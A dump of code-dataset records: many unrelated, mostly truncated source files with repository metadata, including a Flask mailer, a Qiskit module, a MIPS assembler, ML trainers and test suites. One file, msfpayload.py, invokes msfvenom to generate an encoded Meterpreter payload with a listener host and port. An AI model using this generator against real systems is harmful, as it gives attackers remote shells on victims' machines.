aas_core_meta/__init__.py
aas-core-works/aas-core3-meta
88b618c82f78392a47ee58cf2657ae6df8e5a418
[ "MIT" ]
null
null
null
aas_core_meta/__init__.py
aas-core-works/aas-core3-meta
88b618c82f78392a47ee58cf2657ae6df8e5a418
[ "MIT" ]
null
null
null
aas_core_meta/__init__.py
aas-core-works/aas-core3-meta
88b618c82f78392a47ee58cf2657ae6df8e5a418
[ "MIT" ]
null
null
null
"""Provide meta-models for Asset Administration Shell information model.""" __version__ = "2021.11.20a2" __author__ = ( "Nico Braunisch, Marko Ristin, Robert Lehmann, Marcin Sadurski, Manuel Sauer" ) __license__ = "License :: OSI Approved :: MIT License" __status__ = "Alpha"
31.222222
81
0.736655
0
0
0
0
0
0
0
0
213
0.758007
3ff189fdd25a003504ca018c6776d007950e9fc2
2,937
py
Python
arxivmail/web.py
dfm/ArXivMailer
f217466b83ae3009330683d1c53ba5a44b4bab29
[ "MIT" ]
1
2020-09-15T11:59:44.000Z
2020-09-15T11:59:44.000Z
arxivmail/web.py
dfm/ArXivMailer
f217466b83ae3009330683d1c53ba5a44b4bab29
[ "MIT" ]
null
null
null
arxivmail/web.py
dfm/ArXivMailer
f217466b83ae3009330683d1c53ba5a44b4bab29
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import flask from .mail import send_email from .models import db, Subscriber, Category __all__ = ["web"] web = flask.Blueprint("web", __name__) @web.route("/", methods=["GET", "POST"]) def index(): if flask.request.method == "POST": email = flask.request.form.get("email", None)...
34.964286
76
0.606742
0
0
0
0
2,755
0.938032
0
0
388
0.132108
3ff244c8c0c0b1265e61249a530b3e42331c5fc4
13,794
py
Python
qiskit/pulse/timeslots.py
lerongil/qiskit-terra
a25af2a2378bc3d4f5ec73b948d048d1b707454c
[ "Apache-2.0" ]
3
2019-11-20T08:15:28.000Z
2020-11-01T15:32:57.000Z
qiskit/pulse/timeslots.py
lerongil/qiskit-terra
a25af2a2378bc3d4f5ec73b948d048d1b707454c
[ "Apache-2.0" ]
null
null
null
qiskit/pulse/timeslots.py
lerongil/qiskit-terra
a25af2a2378bc3d4f5ec73b948d048d1b707454c
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # This code is part of Qiskit. # # (C) Copyright IBM 2017, 2019. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any...
32.456471
89
0.603741
13,044
0.945629
0
0
1,602
0.116137
0
0
5,982
0.433667
3ff2f2040265231a2d5824e04f8c8d39faec1ec0
22,499
py
Python
core/assembler.py
iahuang/scratch-gcc
bc4989f3dc54f0cdc3098f66078d17750c111bec
[ "MIT" ]
null
null
null
core/assembler.py
iahuang/scratch-gcc
bc4989f3dc54f0cdc3098f66078d17750c111bec
[ "MIT" ]
null
null
null
core/assembler.py
iahuang/scratch-gcc
bc4989f3dc54f0cdc3098f66078d17750c111bec
[ "MIT" ]
null
null
null
""" A basic two-pass MIPS assembler. Outputs a binary file in a custom format that can then be loaded into Scratch """ import struct import re import json import os """ Diagram of the Scratch MIPS VM memory space +--------------------- <- 0x0000000 | i/o space (see below) +--------------------- <- 0x0000100 | data s...
34.089394
126
0.586382
20,702
0.92013
0
0
3,724
0.165518
0
0
8,873
0.394373
3ff3b22779c14ce17a4d6563f15286360782e0ac
3,237
py
Python
qvdfile/tests/test_qvdfile.py
cosmocracy/qvdfile
c1f92ec153c07f607fd57c6f6679e3c7269d643e
[ "Apache-2.0" ]
17
2019-07-18T12:50:33.000Z
2021-05-25T06:26:45.000Z
qvdfile/tests/test_qvdfile.py
cosmocracy/qvdfile
c1f92ec153c07f607fd57c6f6679e3c7269d643e
[ "Apache-2.0" ]
2
2021-05-15T03:53:08.000Z
2021-07-22T14:31:15.000Z
qvdfile/tests/test_qvdfile.py
cosmocracy/qvdfile
c1f92ec153c07f607fd57c6f6679e3c7269d643e
[ "Apache-2.0" ]
5
2019-07-18T12:55:31.000Z
2021-12-21T15:09:37.000Z
import pytest import errno import os import glob import shutil import xml.etree.ElementTree as ET from qvdfile.qvdfile import QvdFile, BadFormat @pytest.fixture(scope="function") def qvd(): """ standard setup for most of the tests """ yield QvdFile("data/tab1.qvd") @pytest.fixture(scope="function") def big...
22.957447
81
0.611369
0
0
196
0.06055
264
0.081557
0
0
863
0.266605
3ff5387e0936b375509e91f2742e4bc5ae6feee1
4,221
py
Python
app/__init__.py
i2nes/app-engine-blog
94cdc25674c946ad643f7f140cbedf095773de3f
[ "MIT" ]
null
null
null
app/__init__.py
i2nes/app-engine-blog
94cdc25674c946ad643f7f140cbedf095773de3f
[ "MIT" ]
null
null
null
app/__init__.py
i2nes/app-engine-blog
94cdc25674c946ad643f7f140cbedf095773de3f
[ "MIT" ]
null
null
null
from flask import Flask from app.models import Article, Feature import logging def create_app(config, blog_config): """This initiates the Flask app and starts your app engine instance. Startup Steps: 1. Instantiate the Flask app with the config settings. 2. Register bluprints. 3. Create the Contac...
33.768
116
0.630419
0
0
0
0
0
0
0
0
1,854
0.439232
3ff664299cdf95218a7f9411379521d7b5cdbaa4
430
py
Python
libs/msfpayload.py
darkoperator/SideStep
2c75af77ee2241595de4c65d7e4f8342dcc0bb50
[ "BSL-1.0" ]
3
2015-09-16T16:09:14.000Z
2017-01-14T21:53:08.000Z
libs/msfpayload.py
darkoperator/SideStep
2c75af77ee2241595de4c65d7e4f8342dcc0bb50
[ "BSL-1.0" ]
null
null
null
libs/msfpayload.py
darkoperator/SideStep
2c75af77ee2241595de4c65d7e4f8342dcc0bb50
[ "BSL-1.0" ]
2
2016-04-22T04:44:50.000Z
2021-12-18T15:12:22.000Z
""" Generates the Meterpreter payload from msfvenom """ import subprocess def payloadGenerator(msfpath, msfvenom, msfpayload, ip, port): payload = subprocess.Popen('ruby ' + msfpath + msfvenom + ' -p ' + msfpayload + ' LHOST=' + ip + ' LPORT=' + str(port) + ' EXITFUNC=thread -e x86/alpha_mixed -f raw BufferRegister=...
53.75
275
0.727907
0
0
0
0
0
0
0
0
149
0.346512
3ff6b1161dba69f783ae2e124e780852ea91eaaa
9,689
py
Python
RevitPythonShell_Scripts/GoogleTools.extension/GoogleTools.tab/Ontologies.Panel/BOS_SetValues.pushbutton/script.py
arupiot/create_revit_families
9beab3c7e242426b2dca99ca5477fdb433e39db2
[ "MIT" ]
1
2021-02-04T18:20:58.000Z
2021-02-04T18:20:58.000Z
RevitPythonShell_Scripts/GoogleTools.extension/GoogleTools.tab/Ontologies.Panel/BOS_SetValues.pushbutton/script.py
arupiot/DBOTools
9beab3c7e242426b2dca99ca5477fdb433e39db2
[ "MIT" ]
null
null
null
RevitPythonShell_Scripts/GoogleTools.extension/GoogleTools.tab/Ontologies.Panel/BOS_SetValues.pushbutton/script.py
arupiot/DBOTools
9beab3c7e242426b2dca99ca5477fdb433e39db2
[ "MIT" ]
null
null
null
# Select an element # Open yaml file with entity types # If parameters are already present, set values according to yaml input import sys import clr import System import rpw import yaml import pprint from System.Collections.Generic import * clr.AddReference("RevitAPI") from Autodesk.Revit.DB import * from rpw.ui.fo...
38.601594
158
0.680462
0
0
0
0
0
0
0
0
2,064
0.213025
3ff6bad744395c2228278988f9b9886b23c17ebf
8,110
py
Python
Code/src/models/optim/SimCLR_trainer.py
antoine-spahr/X-ray-Anomaly-Detection
850b6195d6290a50eee865b4d5a66f5db5260e8f
[ "MIT" ]
2
2020-10-12T08:25:13.000Z
2021-08-16T08:43:43.000Z
Code/src/models/optim/SimCLR_trainer.py
antoine-spahr/X-ray-Anomaly-Detection
850b6195d6290a50eee865b4d5a66f5db5260e8f
[ "MIT" ]
null
null
null
Code/src/models/optim/SimCLR_trainer.py
antoine-spahr/X-ray-Anomaly-Detection
850b6195d6290a50eee865b4d5a66f5db5260e8f
[ "MIT" ]
1
2020-06-17T07:40:17.000Z
2020-06-17T07:40:17.000Z
import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import numpy as np import time import logging from sklearn.manifold import TSNE from src.models.optim.CustomLosses import NT_Xent_loss, SupervisedContrastiveLoss from src.utils.utils import print_progessbar class SimCLR_tr...
38.990385
181
0.561159
7,804
0.962269
0
0
0
0
0
0
1,518
0.187176
3ff6e816cd8b898e3be215d0d77841e6ad25c848
543
py
Python
patients/migrations/0008_alter_patient_age.py
Curewell-Homeo-Clinic/admin-system
c8ce56a2bdbccfe1e6bec09068932f1943498b9f
[ "MIT" ]
1
2021-11-29T15:24:41.000Z
2021-11-29T15:24:41.000Z
patients/migrations/0008_alter_patient_age.py
Curewell-Homeo-Clinic/admin-system
c8ce56a2bdbccfe1e6bec09068932f1943498b9f
[ "MIT" ]
46
2021-11-29T16:05:55.000Z
2022-03-01T13:04:45.000Z
patients/migrations/0008_alter_patient_age.py
Curewell-Homeo-Clinic/admin-system
c8ce56a2bdbccfe1e6bec09068932f1943498b9f
[ "MIT" ]
null
null
null
# Generated by Django 3.2.9 on 2021-11-20 16:13 import django.core.validators from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('patients', '0007_alter_patient_age'), ] operations = [ migrations.AlterField( model_name='patient'...
27.15
179
0.67035
420
0.773481
0
0
0
0
0
0
95
0.174954
3ff70f0f8e53ee1c511ea409b894a75564f6138d
4,348
py
Python
kitsune/questions/tests/test_utils.py
AndrewDVXI/kitsune
84bd4fa60346681c3fc5a03b0b1540fd1335cee2
[ "BSD-3-Clause" ]
1
2021-07-18T00:41:16.000Z
2021-07-18T00:41:16.000Z
kitsune/questions/tests/test_utils.py
AndrewDVXI/kitsune
84bd4fa60346681c3fc5a03b0b1540fd1335cee2
[ "BSD-3-Clause" ]
9
2021-04-08T22:05:53.000Z
2022-03-12T00:54:11.000Z
kitsune/questions/tests/test_utils.py
AndrewDVXI/kitsune
84bd4fa60346681c3fc5a03b0b1540fd1335cee2
[ "BSD-3-Clause" ]
1
2020-07-28T15:53:02.000Z
2020-07-28T15:53:02.000Z
from kitsune.questions.models import Answer, Question from kitsune.questions.tests import AnswerFactory, QuestionFactory from kitsune.questions.utils import ( get_mobile_product_from_ua, mark_content_as_spam, num_answers, num_questions, num_solutions, ) from kitsune.sumo.tests import TestCase from k...
34.507937
207
0.606486
3,914
0.900184
0
0
1,411
0.324517
0
0
1,102
0.25345
3ff942a422edefd4743417af8a01150a5a71f98a
10,122
py
Python
scripts/create_fluseverity_figs_v2/export_zOR_classif_swap.py
eclee25/flu-SDI-exploratory-age
2f5a4d97b84d2116e179e85fe334edf4556aa946
[ "MIT" ]
3
2018-03-29T23:02:43.000Z
2020-08-10T12:01:50.000Z
scripts/create_fluseverity_figs_v2/export_zOR_classif_swap.py
eclee25/flu-SDI-exploratory-age
2f5a4d97b84d2116e179e85fe334edf4556aa946
[ "MIT" ]
null
null
null
scripts/create_fluseverity_figs_v2/export_zOR_classif_swap.py
eclee25/flu-SDI-exploratory-age
2f5a4d97b84d2116e179e85fe334edf4556aa946
[ "MIT" ]
null
null
null
#!/usr/bin/python ############################################## ###Python template ###Author: Elizabeth Lee ###Date: 10/14/14 ###Function: Export zOR retrospective and early warning classifications into csv file format (SDI and ILINet, national and regional for SDI) ### Use nation-level peak-based retrospective class...
59.893491
206
0.742936
0
0
0
0
0
0
0
0
6,751
0.666963
3ff99e7156481e3c6520089236ad30d435cc64ca
3,346
py
Python
sonar/endpoints.py
sharm294/sonar
99de16dd16d0aa77734584e67263c78a37abef86
[ "MIT" ]
5
2018-11-21T02:33:38.000Z
2020-10-30T12:22:05.000Z
sonar/endpoints.py
sharm294/sonar
99de16dd16d0aa77734584e67263c78a37abef86
[ "MIT" ]
2
2018-12-28T18:31:45.000Z
2020-06-12T19:24:57.000Z
sonar/endpoints.py
sharm294/sonar
99de16dd16d0aa77734584e67263c78a37abef86
[ "MIT" ]
1
2019-03-10T13:48:50.000Z
2019-03-10T13:48:50.000Z
""" Signal endpoints that can be used in testbenches """ import textwrap from typing import Dict import sonar.base_types as base class Endpoint(base.SonarObject): """ Endpoint class """ arguments: Dict[str, int] = {} @classmethod def instantiate(cls, _indent): """ Instantia...
22.456376
104
0.545129
3,206
0.958159
0
0
2,868
0.857143
0
0
1,979
0.591452
3ff9c9e147dda16eeaf022e601e081b35faea86c
15,400
py
Python
minemeld/ft/condition/BoolExprParser.py
zul126/minemeld-core
2eb9b9bfd7654aee57aabd5fb280d4e89a438daf
[ "Apache-2.0" ]
1
2021-01-02T07:25:04.000Z
2021-01-02T07:25:04.000Z
minemeld/ft/condition/BoolExprParser.py
zul126/minemeld-core
2eb9b9bfd7654aee57aabd5fb280d4e89a438daf
[ "Apache-2.0" ]
null
null
null
minemeld/ft/condition/BoolExprParser.py
zul126/minemeld-core
2eb9b9bfd7654aee57aabd5fb280d4e89a438daf
[ "Apache-2.0" ]
1
2019-03-14T06:52:52.000Z
2019-03-14T06:52:52.000Z
# Generated from BoolExpr.g4 by ANTLR 4.5.1 # encoding: utf-8 from __future__ import print_function from antlr4 import * from io import StringIO # flake8: noqa def serializedATN(): with StringIO() as buf: buf.write(u"\3\u0430\ud6d1\u8206\uad2d\u4417\uaef1\u8d80\uaadd\3") buf.write(u"\22\63\4\2\t\...
33.04721
241
0.586104
13,879
0.901234
0
0
0
0
0
0
1,710
0.111039
3ffb7c0442cbda7e7c873ec775ef33cdb0c000d2
398
py
Python
nodes/networkedSingleStepper/temporaryURLNode.py
imoyer/pygestalt
d332df64264cce4a2bec8a73d698c386f1eaca7b
[ "MIT" ]
1
2017-07-03T08:34:39.000Z
2017-07-03T08:34:39.000Z
nodes/networkedSingleStepper/temporaryURLNode.py
imoyer/pygestalt
d332df64264cce4a2bec8a73d698c386f1eaca7b
[ "MIT" ]
3
2015-12-04T23:14:50.000Z
2016-11-08T16:24:32.000Z
nodes/networkedSingleStepper/temporaryURLNode.py
imnp/pygestalt
d332df64264cce4a2bec8a73d698c386f1eaca7b
[ "MIT" ]
1
2017-09-13T00:17:39.000Z
2017-09-13T00:17:39.000Z
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /vn/testNode.py was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr>...
33.166667
85
0.718593
0
0
0
0
0
0
0
0
27
0.067839
3ffbaac7ded264cd662d18071c85e8138b2662eb
4,761
py
Python
cppwg/writers/header_collection_writer.py
josephsnyder/cppwg
265117455ed57eb250643a28ea6029c2bccf3ab3
[ "MIT" ]
21
2017-10-03T14:29:36.000Z
2021-12-07T08:54:43.000Z
cppwg/writers/header_collection_writer.py
josephsnyder/cppwg
265117455ed57eb250643a28ea6029c2bccf3ab3
[ "MIT" ]
2
2017-12-29T19:17:44.000Z
2020-03-27T14:59:27.000Z
cppwg/writers/header_collection_writer.py
josephsnyder/cppwg
265117455ed57eb250643a28ea6029c2bccf3ab3
[ "MIT" ]
6
2019-03-21T11:55:52.000Z
2021-07-13T20:49:50.000Z
#!/usr/bin/env python """ Generate the file classes_to_be_wrapped.hpp, which contains includes, instantiation and naming typedefs for all classes that are to be automatically wrapped. """ import os import ntpath class CppHeaderCollectionWriter(): """ This class manages generation of the header collection f...
36.068182
91
0.603235
4,544
0.954421
0
0
0
0
0
0
1,046
0.219702
3ffbd01add7dfacc772a2751a5811b5cb60b641e
6,590
py
Python
22-crab-combat/solution22_2.py
johntelforduk/advent-of-code-2020
138df3a7b12e418f371f641fed02e57a98a7392e
[ "MIT" ]
1
2020-12-03T13:20:49.000Z
2020-12-03T13:20:49.000Z
22-crab-combat/solution22_2.py
johntelforduk/advent-of-code-2020
138df3a7b12e418f371f641fed02e57a98a7392e
[ "MIT" ]
null
null
null
22-crab-combat/solution22_2.py
johntelforduk/advent-of-code-2020
138df3a7b12e418f371f641fed02e57a98a7392e
[ "MIT" ]
null
null
null
# Solution to part 2 of day 22 of AOC 2020, Crab Combat. # https://adventofcode.com/2020/day/22 import sys VERBOSE = ('-v' in sys.argv) class Deck: def __init__(self, player: int, cards: list): self.player = player self.cards = cards def take_top_card(self) -> int: """Remove the to...
35.621622
119
0.582398
5,569
0.845068
0
0
0
0
0
0
2,355
0.35736
3ffc66c1a55abdcb165f5612bc7ea3c265086406
246
py
Python
consts.py
mauroreisvieira/sublime-tailwindcss-intellisense
140edc90c59c045fc8a9d7f6bcff0b727660ee64
[ "MIT" ]
null
null
null
consts.py
mauroreisvieira/sublime-tailwindcss-intellisense
140edc90c59c045fc8a9d7f6bcff0b727660ee64
[ "MIT" ]
null
null
null
consts.py
mauroreisvieira/sublime-tailwindcss-intellisense
140edc90c59c045fc8a9d7f6bcff0b727660ee64
[ "MIT" ]
null
null
null
import os # @see https://marketplace.visualstudio.com/items?itemName=bradlc.vscode-tailwindcss EXTENSION_UID = "bradlc.vscode-tailwindcss" EXTENSION_VERSION = "0.5.2" SERVER_BINARY_PATH = os.path.join("extension", "dist", "server", "index.js")
30.75
84
0.764228
0
0
0
0
0
0
0
0
153
0.621951
3ffe70804c74668d12ccd199fbcd96d4fb1cfb92
2,426
py
Python
backend/app/alembic/versions/491383f70589_add_separate_reported_and_deleted_tables.py
Pinafore/Karl-flashcards-web-app
2f4d9925c545f83eb3289dfef85d9b0bf9bfeb8c
[ "Apache-2.0" ]
7
2020-09-13T06:06:32.000Z
2021-11-15T11:37:16.000Z
backend/app/alembic/versions/491383f70589_add_separate_reported_and_deleted_tables.py
Pinafore/Karl-flashcards-web-app
2f4d9925c545f83eb3289dfef85d9b0bf9bfeb8c
[ "Apache-2.0" ]
16
2020-08-28T20:38:27.000Z
2021-03-18T04:03:00.000Z
backend/app/alembic/versions/491383f70589_add_separate_reported_and_deleted_tables.py
Pinafore/Karl-flashcards-web-app
2f4d9925c545f83eb3289dfef85d9b0bf9bfeb8c
[ "Apache-2.0" ]
null
null
null
"""add separate reported and deleted tables Revision ID: 491383f70589 Revises: 9afc4e3a9bf3 Create Date: 2020-06-26 05:23:30.267933 """ from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import postgresql # revision identifiers, used by Alembic. revision = '491383f70589' down_revision = '9afc4e3...
41.827586
162
0.694559
0
0
0
0
0
0
0
0
882
0.363561
3fffb39e0047b218b9939ad4a6b88417807e3ce7
17,935
py
Python
test/test_viscous.py
nchristensen/mirgecom
f27285d1fc7e077e0b1ac6872712d88517588e33
[ "MIT" ]
null
null
null
test/test_viscous.py
nchristensen/mirgecom
f27285d1fc7e077e0b1ac6872712d88517588e33
[ "MIT" ]
null
null
null
test/test_viscous.py
nchristensen/mirgecom
f27285d1fc7e077e0b1ac6872712d88517588e33
[ "MIT" ]
null
null
null
"""Test the viscous fluid helper functions.""" __copyright__ = """ Copyright (C) 2021 University of Illinois Board of Trustees """ __license__ = """ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Softwar...
34.292543
84
0.652188
0
0
0
0
10,783
0.601227
0
0
2,401
0.133872
b200470663bb7eee02e9c82ffb877d8af91ad93e
216
py
Python
aiobotocore_refreshable_credentials/__init__.py
aweber/aiobotocore-refreshable-credentials
3310d3fa29ac657f7cd5f64829da5f9b12c7a86d
[ "BSD-3-Clause" ]
null
null
null
aiobotocore_refreshable_credentials/__init__.py
aweber/aiobotocore-refreshable-credentials
3310d3fa29ac657f7cd5f64829da5f9b12c7a86d
[ "BSD-3-Clause" ]
2
2021-05-21T14:18:52.000Z
2022-03-15T12:34:45.000Z
aiobotocore_refreshable_credentials/__init__.py
aweber/aiobotocore-refreshable-credentials
3310d3fa29ac657f7cd5f64829da5f9b12c7a86d
[ "BSD-3-Clause" ]
1
2021-06-18T18:37:15.000Z
2021-06-18T18:37:15.000Z
""" aiobotocore-refreshable-credentials =================================== """ from aiobotocore_refreshable_credentials.session import get_session version = '1.0.3' __all__ = [ 'get_session', 'version' ]
15.428571
67
0.606481
0
0
0
0
0
0
0
0
109
0.50463
b2021676535704ccb7bbd4b21a330bdfa74bae2e
702
py
Python
g13gui/bitwidgets/label_tests.py
jtgans/g13gui
aa07ee91b0fd89eb8d9991291e11ca3a97ca11cc
[ "MIT" ]
3
2021-10-16T01:28:24.000Z
2021-12-07T21:49:54.000Z
g13gui/bitwidgets/label_tests.py
jtgans/g13gui
aa07ee91b0fd89eb8d9991291e11ca3a97ca11cc
[ "MIT" ]
12
2021-05-09T16:57:18.000Z
2021-06-16T19:20:57.000Z
g13gui/bitwidgets/label_tests.py
jtgans/g13gui
aa07ee91b0fd89eb8d9991291e11ca3a97ca11cc
[ "MIT" ]
null
null
null
import unittest import time from g13gui.bitwidgets.display import Display from g13gui.bitwidgets.x11displaydevice import X11DisplayDevice from g13gui.bitwidgets.label import Label class LabelTests(unittest.TestCase): def setUp(self): self.dd = X11DisplayDevice(self.__class__.__name__) self.dd.sta...
22.645161
63
0.64245
469
0.668091
0
0
0
0
0
0
24
0.034188
b206b349123d73fd230c868195f898309f10c8ec
7,772
py
Python
padre/git_utils.py
krislindgren/padre
56e3342a953fdc472adc11ce301acabf6c595760
[ "MIT" ]
null
null
null
padre/git_utils.py
krislindgren/padre
56e3342a953fdc472adc11ce301acabf6c595760
[ "MIT" ]
null
null
null
padre/git_utils.py
krislindgren/padre
56e3342a953fdc472adc11ce301acabf6c595760
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # MIT License # # Modified from https://github.com/wzpan/git-repo-sync/ import os import subprocess import sys def print_blocked(output): print("=" * len(output)) print(output) print("=" * len(output)) def check_output(cmd, **kwargs): tmp_cmd = subprocess....
34.237885
76
0.556356
0
0
0
0
0
0
0
0
1,131
0.145522
b2080b7d4050889b2b37d9d988f89eaa6cb3c1e8
11,358
py
Python
domain_clf_analysis.py
xiaoleihuang/Domain_Adaptation_ACL2018
c077ceb7f67f1836043df88ac16ffed53cd3a9cb
[ "Apache-2.0" ]
3
2018-06-12T01:43:18.000Z
2019-10-01T16:21:43.000Z
domain_clf_analysis.py
xiaoleihuang/Domain_Adaptation_ACL2018
c077ceb7f67f1836043df88ac16ffed53cd3a9cb
[ "Apache-2.0" ]
null
null
null
domain_clf_analysis.py
xiaoleihuang/Domain_Adaptation_ACL2018
c077ceb7f67f1836043df88ac16ffed53cd3a9cb
[ "Apache-2.0" ]
null
null
null
""" Test on one domain, and train on the other domains, Output f1 scores and visualize them by heat map """ from utils import data_helper, model_helper from sklearn.metrics import f1_score from imblearn.over_sampling import RandomOverSampler from sklearn.preprocessing import LabelEncoder from sklearn.feature_extractio...
39.992958
199
0.588044
0
0
0
0
0
0
0
0
4,639
0.408435
b209d756a7a9dd9b0a6aa608dc616fb5501e9ff4
219
py
Python
01 - Expressions, variables and assignments/exercises/perimeter-of-rectangle.py
PableraShow/python-exercises
e1648fd42f3009ec6fb1e2096852b6d399e91d5b
[ "MIT" ]
8
2018-10-01T17:35:57.000Z
2022-02-01T08:12:12.000Z
01 - Expressions, variables and assignments/exercises/perimeter-of-rectangle.py
PableraShow/python-exercises
e1648fd42f3009ec6fb1e2096852b6d399e91d5b
[ "MIT" ]
null
null
null
01 - Expressions, variables and assignments/exercises/perimeter-of-rectangle.py
PableraShow/python-exercises
e1648fd42f3009ec6fb1e2096852b6d399e91d5b
[ "MIT" ]
6
2018-07-22T19:15:21.000Z
2022-02-05T07:54:58.000Z
""" Prints the length in inches of the perimeter of a rectangle with sides of length 4 and 7 inches. """ # Rectangle perimeter formula length = 4 inches = 7 perimeter = 2 * length + 2 * inches # Output print perimeter
18.25
59
0.726027
0
0
0
0
0
0
0
0
141
0.643836
b20a4404ed9e15d9b510a71724e0f8e9d7cc1046
645
py
Python
tools/leetcode.128.Longest Consecutive Sequence/leetcode.128.Longest Consecutive Sequence.submission1.py
tedye/leetcode
975d7e3b8cb9b6be9e80e07febf4bcf6414acd46
[ "MIT" ]
4
2015-10-10T00:30:55.000Z
2020-07-27T19:45:54.000Z
tools/leetcode.128.Longest Consecutive Sequence/leetcode.128.Longest Consecutive Sequence.submission1.py
tedye/leetcode
975d7e3b8cb9b6be9e80e07febf4bcf6414acd46
[ "MIT" ]
null
null
null
tools/leetcode.128.Longest Consecutive Sequence/leetcode.128.Longest Consecutive Sequence.submission1.py
tedye/leetcode
975d7e3b8cb9b6be9e80e07febf4bcf6414acd46
[ "MIT" ]
null
null
null
class Solution: # @param {integer[]} nums # @return {integer} def longestConsecutive(self, nums): if not nums: return 0 result = 0 hashtable = set(nums) while hashtable: i = hashtable.pop() cnt = 1 temp = i while tem...
645
645
0.432558
645
1
0
0
0
0
0
0
625
0.968992
b20aba712b1ab01e3fb65465b63bc20687698132
123
py
Python
x_3_4.py
ofl/kuku2
7247fb1862d917d23258ebe7a93dca5939433225
[ "MIT" ]
null
null
null
x_3_4.py
ofl/kuku2
7247fb1862d917d23258ebe7a93dca5939433225
[ "MIT" ]
1
2021-11-13T08:03:04.000Z
2021-11-13T08:03:04.000Z
x_3_4.py
ofl/kuku2
7247fb1862d917d23258ebe7a93dca5939433225
[ "MIT" ]
null
null
null
# x_3_4 # # mathモジュールからfloor関数だけインポートして切り捨て計算を行ってください from statistics import mean data = [7, 4, 3, 9] print(mean(data))
12.3
43
0.739837
0
0
0
0
0
0
0
0
115
0.614973
b20c24ef9d6d64b2c1eb48b70a055569f3cf0291
690
py
Python
2018/21/reverse_engineered.py
lvaughn/advent
ff3f727b8db1fd9b2a04aad5dcda9a6c8d1c271e
[ "CC0-1.0" ]
null
null
null
2018/21/reverse_engineered.py
lvaughn/advent
ff3f727b8db1fd9b2a04aad5dcda9a6c8d1c271e
[ "CC0-1.0" ]
null
null
null
2018/21/reverse_engineered.py
lvaughn/advent
ff3f727b8db1fd9b2a04aad5dcda9a6c8d1c271e
[ "CC0-1.0" ]
null
null
null
#!/usr/bin/env python3 def simulate(reg_0, find_non_loop): seen = set() c = 0 last_unique_c = -1 while True: a = c | 65536 c = reg_0 while True: c = (((c + (a & 255)) & 16777215) * 65899) & 16777215 if a < 256: if find_non_loop: ...
22.258065
65
0.401449
0
0
0
0
0
0
0
0
22
0.031884
b20ca1a11af5328342bece8c8b28ae8ca5c425a2
7,025
py
Python
pybilt/lipid_grid/lipid_grid_curv.py
blakeaw/ORBILT
ed402dd496534dccd00f3e75b57007d944c58c1d
[ "MIT" ]
11
2019-07-29T16:21:53.000Z
2022-02-02T11:44:57.000Z
pybilt/lipid_grid/lipid_grid_curv.py
blakeaw/ORBILT
ed402dd496534dccd00f3e75b57007d944c58c1d
[ "MIT" ]
11
2019-05-15T09:30:05.000Z
2021-07-19T16:49:59.000Z
pybilt/lipid_grid/lipid_grid_curv.py
blakeaw/ORBILT
ed402dd496534dccd00f3e75b57007d944c58c1d
[ "MIT" ]
9
2019-08-12T11:14:45.000Z
2020-12-22T18:22:55.000Z
''' Classes and functions to implement gridding and curvature correlation analysis for lipid bilayers. The gridding and anlaysis procedures are based on the decription given in section "Correlation between bilayer surface curvature and the clustering of lipid molecules" of Koldso H, Shorthouse D, He lie J, ...
39.914773
117
0.540641
6,157
0.876441
0
0
0
0
0
0
1,540
0.219217
b20cc44e10c5f1d7b1d539469ba4792e3e3334fc
492
py
Python
security.py
Raghav714/intruder-alarm
c27825e5b483b6dc18704e0da76500b348174432
[ "MIT" ]
4
2018-10-02T06:37:50.000Z
2021-10-31T16:41:59.000Z
security.py
Raghav714/intruder-alarm
c27825e5b483b6dc18704e0da76500b348174432
[ "MIT" ]
null
null
null
security.py
Raghav714/intruder-alarm
c27825e5b483b6dc18704e0da76500b348174432
[ "MIT" ]
null
null
null
import numpy as np import cv2 import pygame cap = cv2.VideoCapture(0) fgbg = cv2.createBackgroundSubtractorMOG2() pygame.mixer.init() pygame.mixer.music.load("1.mp3") while(1): ret, frame = cap.read() fgmask = fgbg.apply(frame) flag = np.std(fgmask) if flag>50: print("some one came") pygame.mixer.music.play() ...
20.5
43
0.707317
0
0
0
0
0
0
0
0
37
0.075203
b20cdd9f8c550b03afcaa9236a4a608b7379d8bd
453
py
Python
pygeos/measurements.py
jorisvandenbossche/pygeos
0a25af4ae1c96d11752318d2755f4f3342611b17
[ "BSD-3-Clause" ]
null
null
null
pygeos/measurements.py
jorisvandenbossche/pygeos
0a25af4ae1c96d11752318d2755f4f3342611b17
[ "BSD-3-Clause" ]
null
null
null
pygeos/measurements.py
jorisvandenbossche/pygeos
0a25af4ae1c96d11752318d2755f4f3342611b17
[ "BSD-3-Clause" ]
null
null
null
from . import ufuncs __all__ = ["area", "distance", "length", "hausdorff_distance"] def area(geometries): return ufuncs.area(geometries) def distance(a, b): return ufuncs.distance(a, b) def length(geometries): return ufuncs.length(geometries) def hausdorff_distance(a, b, densify=None): if densi...
19.695652
63
0.697572
0
0
0
0
0
0
0
0
44
0.09713
b20ea0b58e52db3ee0246fdb58558d2834cf2129
9,539
py
Python
naff/models/naff/extension.py
Discord-Snake-Pit/dis_snek
45748467838b31d871a7166dbeb3aaa238ad94e3
[ "MIT" ]
64
2021-10-12T15:31:36.000Z
2022-03-29T18:25:47.000Z
naff/models/naff/extension.py
Discord-Snake-Pit/dis_snek
45748467838b31d871a7166dbeb3aaa238ad94e3
[ "MIT" ]
166
2021-10-10T16:27:52.000Z
2022-03-30T09:04:54.000Z
naff/models/naff/extension.py
Discord-Snake-Pit/dis_snek
45748467838b31d871a7166dbeb3aaa238ad94e3
[ "MIT" ]
34
2021-10-10T13:26:41.000Z
2022-03-23T13:59:35.000Z
import asyncio import inspect import logging from typing import Awaitable, List, TYPE_CHECKING, Callable, Coroutine, Optional import naff.models.naff as naff from naff.client.const import logger_name, MISSING from naff.client.utils.misc_utils import wrap_partial from naff.models.naff.tasks import Task if TYPE_CHECKIN...
35.726592
200
0.605095
9,007
0.944229
